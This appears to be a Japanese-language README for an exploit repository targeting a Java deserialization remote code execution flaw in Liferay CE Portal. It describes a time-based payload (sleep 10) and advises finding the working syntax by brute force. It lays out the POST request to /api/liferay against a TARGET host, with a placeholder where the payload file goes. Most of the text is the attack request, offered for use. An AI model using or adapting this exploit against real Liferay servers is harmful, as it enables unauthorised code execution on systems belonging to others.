Liferay-CE-Portal-Java-Deserialization

このリポジトリには、Liferay CE Portal のリモートコード実行の脆弱性に対する PoC が含まれています。

ペイロード

ペイロードはすでにリポジトリに共有しています。正しい構文はブルートフォース方式で見つける必要があります。共有したペイロードは、時間ベースの概念実証 (sleep 10) 用です。アプリケーションが常にコマンドを出力するとは限りません。そのため、PoC を行う際は時間ベースのペイロードを試すべきです。

概念実証

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

PoC の例 (sleep 10)